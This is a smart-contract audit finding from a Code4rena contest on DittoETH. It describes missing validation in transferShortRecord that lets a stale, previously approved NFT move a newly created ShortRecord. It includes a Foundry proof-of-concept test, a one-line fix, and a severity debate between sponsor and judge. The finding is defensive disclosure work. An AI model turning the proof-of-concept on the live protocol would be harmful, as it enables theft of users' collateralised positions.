transferShortRecord: Can transfer a newly created ShortRecord using a previously minted NFT

[c4-bot-5]

Lines of code

https://github.com/code-423n4/2024-03-dittoeth/blob/91faf46078bb6fe8ce9f55bcb717e5d2d302d22e/contracts/libraries/LibSRUtil.sol#L129-L131

Vulnerability details

Impact

Can move the newly created ShortRecord using the NFT that was minted in the past.

Proof of Concept

Even if the ShortRecord is closed, the previously minted NFT is not burnt. The s.nftMapping[tokenId].shortRecordId data is not deleted either. Therefore, when a ShortRecord is created by reusing the same ID, the existing NFT points to the new ShortRecord.

However, when transferring the NFT and the ShortRecord, it does not check whether this NFT is a newly minted NFT or a past NFT. Those who have been allowed to transfer the NFT in the past still can transfer the newly created ShortRecord.

function transferShortRecord(address from, address to, uint40 tokenId) internal {
    AppStorage storage s = appStorage();

    STypes.NFT storage nft = s.nftMapping[tokenId];
    address asset = s.assetMapping[nft.assetId];
@>  STypes.ShortRecord storage short = s.shortRecords[asset][from][nft.shortRecordId]; // no check for tokenId
    if (short.status == SR.Closed) revert Errors.OriginalShortRecordCancelled();
    if (short.ercDebt == 0) revert Errors.OriginalShortRecordRedeemed();

    // @dev shortOrderId is already validated in mintNFT
    if (short.status == SR.PartialFill) {
        LibOrders.cancelShort(asset, nft.shortOrderId);
    }

    short.tokenId = 0;
    LibShortRecord.deleteShortRecord(asset, from, nft.shortRecordId);
    LibBridgeRouter.transferBridgeCredit(asset, from, to, short.collateral);

    uint8 id = LibShortRecord.createShortRecord(
        asset, to, SR.FullyFilled, short.collateral, short.ercDebt, short.ercDebtRate, short.dethYieldRate, tokenId
    );

    nft.owner = to;
    nft.shortRecordId = id;
    nft.shortOrderId = 0;
}

This is PoC. Add it to ERC721Facet.t.sol and run it.

function test_PoCNFTTransferPossibleWithReusedID() public {
    address attacker = address(0x1337);

    fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
    fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender);

    vm.prank(sender);
    diamond.mintNFT(asset, C.SHORT_STARTING_ID, 0);

    STypes.NFT memory nftBefore = diamond.getNFT(1);
    assertEq(nftBefore.owner, sender);
    assertEq(nftBefore.shortRecordId, C.SHORT_STARTING_ID);

    assertEq(diamond.ownerOf(1), sender);
    assertEq(diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID).tokenId, 1);

    vm.prank(sender);
    diamond.approve(attacker, 1); // attakcer approved old SR NFT

    fundLimitAskOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
    exitShort(C.SHORT_STARTING_ID, DEFAULT_AMOUNT, DEFAULT_PRICE, sender); // SR Closed

    STypes.NFT memory nftAfterExit = diamond.getNFT(1);
    assertEq(nftAfterExit.owner, nftBefore.owner);
    assertEq(nftBefore.shortRecordId, nftAfterExit.shortRecordId);

    fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
    fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender); // shortRecordId reused

    assertEq(diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID).tokenId, 0);

    vm.prank(sender);
    diamond.mintNFT(asset, C.SHORT_STARTING_ID, 0); // mint NFT again with new SR (NFT tokenId #2)

    assertEq(diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID).tokenId, 2);

    STypes.NFT memory nftAfterNewSRCreated = diamond.getNFT(1);
    assertEq(nftAfterNewSRCreated.owner, nftBefore.owner); // but NFT mapping is still exist
    assertEq(nftAfterNewSRCreated.shortRecordId, C.SHORT_STARTING_ID);

    assertEq(diamond.getShortRecord(asset, attacker, C.SHORT_STARTING_ID).collateral, 0); // attacker has no SR
    vm.prank(attacker);
    diamond.transferFrom(sender, attacker, 1); // attacker still can transfer NFT, and move new SR
    assertNotEq(diamond.getShortRecord(asset, attacker, C.SHORT_STARTING_ID).collateral, 0); // attacker successfully transfered SR
}

Tools Used

Manual Review

Recommended Mitigation Steps

function transferShortRecord(address from, address to, uint40 tokenId) internal {
    AppStorage storage s = appStorage();

    STypes.NFT storage nft = s.nftMapping[tokenId];
    address asset = s.assetMapping[nft.assetId];
    STypes.ShortRecord storage short = s.shortRecords[asset][from][nft.shortRecordId];
    if (short.status == SR.Closed) revert Errors.OriginalShortRecordCancelled();
    if (short.ercDebt == 0) revert Errors.OriginalShortRecordRedeemed();
+   if (short.tokenId != tokenId) revert Errors.NotValidNFT();

    // @dev shortOrderId is already validated in mintNFT
    if (short.status == SR.PartialFill) {
        LibOrders.cancelShort(asset, nft.shortOrderId);
    }

    short.tokenId = 0;
    LibShortRecord.deleteShortRecord(asset, from, nft.shortRecordId);
    LibBridgeRouter.transferBridgeCredit(asset, from, to, short.collateral);

    uint8 id = LibShortRecord.createShortRecord(
        asset, to, SR.FullyFilled, short.collateral, short.ercDebt, short.ercDebtRate, short.dethYieldRate, tokenId
    );

    nft.owner = to;
    nft.shortRecordId = id;
    nft.shortOrderId = 0;
}

Assessed type

Invalid Validation

[c4-pre-sort]

raymondfam marked the issue as insufficient quality report

[c4-pre-sort]

raymondfam marked the issue as primary issue

[raymondfam]

Closely similar to Codehawks' H-05: https://www.codehawks.com/report/clm871gl00001mp081mzjdlwc#H-05. I think this issue has been fixed by the protocol.

[hansfriese]

It seems valid and I will confirm with the sponsor during PJQA.

[c4-judge]

hansfriese marked the issue as satisfactory

[c4-judge]

hansfriese marked the issue as selected for report

[c4-sponsor]

ditto-eth (sponsor) confirmed

[c4-sponsor]

ditto-eth marked the issue as disagree with severity

[ditto-eth]

This scenario is technically possible, but only happens because of user error. I recommend low because a series of mistakes on the user's part would have to occur for this scenario:

1. User gives approval to an attacker
2. User closes their SR before the SR is transferred. Why would the user give approval to another address to transfer their SR but then not wait for the transfer to happen?
3. And if for some reason the user does not want to transfer anymore they can revoke approval

[klau5dev]

1. User gives approval to an attacker.
2. User closes their SR before the SR is transferred. Why would the user give approval to another address to transfer their SR but then not wait for the transfer to happen?

This can be problematic not only in attacks, but also in general situations. For example, a user can approve to NFT marketplace contract in order to sell their NFT. A scenario is possible where a user approves an NFT for sale -> the SR is closed -> a new SR is created with the same ID -> and the NFT is sold.

A user will think that it doesn't matter if the old NFT is sold because the closed SR will move. A user doesn't realize that the new SR will move when the old NFT is sold.

3. And if for some reason the user does not want to transfer anymore they can revoke approval

NFT should be minted independently per SR and should not affect each other. The current implementation implicitly points to multiple SRs with a single NFT. In a strict implementation, the past NFT should point to a closed SR, but due to optimizations, it doesn't.

Revoking the approval of past SR NFTs to prevent the current SR from moving is not the right solution because it's violate the individuality of NFT and SR, and user would not think that they should revoke past approval to prevent to moving new SR.

[hansfriese]

Thanks for your detailed comments.
I agree that managing a new SR using prior approval is not a recommended approach.
I think Medium is more appropriate for the external requirements.

[c4-judge]

hansfriese changed the severity to 2 (Med Risk)